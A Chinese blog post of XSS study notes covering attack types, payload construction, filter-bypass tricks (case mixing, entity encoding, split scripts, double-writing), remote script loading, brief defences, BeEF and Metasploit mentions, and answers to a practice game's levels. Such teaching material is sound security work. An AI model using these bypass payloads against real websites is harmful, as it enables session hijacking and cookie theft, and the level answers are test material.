XSS漏洞


[TOC]

壹、XSS概述

1、XSS原理:

​ XSS被称为跨站脚本,是一种发生在前端浏览器端的漏洞。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符(JS代码等)输出在前端时被浏览器当作代码解析执行从而产生危害。

​ 博客、留言板、聊天室等收集用户输入的地方,都有可能被注入XSS代码,只要没对用户的输入进行过滤,就会被攻击。

2、XSS漏洞危害:

​ @1 盗取用户账号;

​ @2 盗取用户Cookie,冒充用户身份进入网站;

​ @3 劫持用户会话,执行任意操作;

​ @4 刷流量,执行弹窗广告等待;

3、XSS漏洞存在常用Poc:

<script>alert(/xss/)</script>
<script>confirm(/xss/)</script>
<script>prompt(/xss/)</script>

贰、XSS类型

​ 1.反射型XSS: 非持久性,参数型的跨站脚本。反射型的XSS的代码在Web应用的参数中。

​ 2.存储型XSS: 持久性跨站脚本,将代码写入数据库或文件等可以永久保存数据的介质中。

​ 3.DOM型XSS:修改浏览器DOM树来执行恶意代码。

叁、XSS代码构造

1.利用<>构造HTML标签或JS代码

<script>alert(/xss/)</script>

2.利用javascript:伪协议的方式构造XSS

<a href="javascript:alert(/xss/)">touch me!</a>

3.事件驱动

<input type="text" onkeydown='alert(/xss/)'>       //键盘点击触发
<input type="text" onkeyup='alert(/xss/)'>         //键盘断开触发
<input type="button" onclick='alert(/xss/)'>       //鼠标点击触发
<img src='file_path' onmouseover='alert(/xss/)' /> //鼠标悬停触发
<img src='file_path(#)' onerror='alert(/xss/)' />  //文档载入失败触发

4.其他触发方式

<svg onload='alert(/xss/)'>
<input onfocus=alert(/xss/) autofocus>

肆、XSS变形绕过

1.大小写转换:HTML对大小写不敏感;注意:alert函数属于JS,而JS对大小写敏感

<Img sRc='#' Onerror='alert(/xss/)' />
<a hREf='javaScript:alert(/xss/)'>touch me!</a>

2.引号的引用:HTML对引号不敏感

<img src="#" Onerror="alert(/xss/)" />
<img src='#' Onerror='alert(/xss/)' />
<img src=# Onerror=alert(/xss/) />

3.左斜线[/]代替空格

<Img/sRc='#'/Onerror='alert(/xss/)' />

4.添加制表符,回车符

<A hRef="j
a    v
a    s
c    R
i    p
t    :
alert(/xss/)">touch me!</a>

5.对标签属性值进行转码

常用字符编码:

字母 十进制编码 十六进制编码
a &#97; &#x61;
e &#101; &#x65;
//编码绕过
<A hRef="j&#97;v&#x61;scRipt:alert(/xss/)">touch me!</a>

下面字符可以插入任意位置

Tab:&#9; 换行: &#10; 回车:&#2;

下面字符可以插入头部

SOH:&#01; STX:&#02;

<A hRef="&#01;j&#97;v&#x61;s&#09;c&#10;R&#13;ipt:alert(/xss/)">touch me!</a>

6.拆分跨站

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>ecal(z)</script>

7.双写绕过:针对一次过滤 eg:<scr<script>ipt>

伍、Shellcode的调用

​ Shellcode就是利用漏洞所执行的代码。完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode.

远程调用JS:将JS代码放在js文件中,然后通过http协议远程加载该脚本。如<script src="http://127.0.0.1/XSS/xss.js"></script>, 其中xss.js文件内容为Shellcode

……后面补>_<…….

陆、XSS防御与会话劫持

1.XSS防御

​ 使用XSS Filter:

  • 输入过滤:对输入字符、长度、范围,格式要求进行过滤,不允许可能导致XSS攻击的字符输入;
  • 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
  • 黑白名单:黑名单-非允许数据 白名单-允许的数据

2.beef(kali自带)浏览器劫持

beef 所在目录:/usr/share/beef-xss;配置文件:/usr/share/beef-xss/config.yaml

第一次使用要修改默认用户、密码

3.美少妇(msf)利用浏览器漏洞getshell

可以配合 beef 工具一起使用,由于msf工具我还搞明白,以后再补上>_<!

柒、XSS实战通关游戏

XSS通关小游戏链接:xss平台 - 游戏闯关练习

游戏一:测试过滤代码<script “‘Oonn>

[01]:<script>alert(/xss/)</script>

[02]:"><img onerror=alert(/xss/) src='#'>

[03]:' onmouseover='alert(/xss/)

[04]:" onmouseover="alert(/xss/)

[05]:测试代码<script script "'Oonn> 答案:"><a href="javascript:alert(/xss/)">hello</a>

[06]:"><a hRef="javascript:alert(/xss/)">hello</a>

[07]:" oonnmouseover="alert(/xss/)

[08]:javas&#x63;ript:alert(/xss/)

[09]:javas&#x63;ript:alert('http://')

[10]:t_sort=hello" type="button" onclick="alert(/xss/)

[11]:Referer:hello" type="button" onclick="alert(/xss/)---BP抓包修改Referer字段

…….


文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录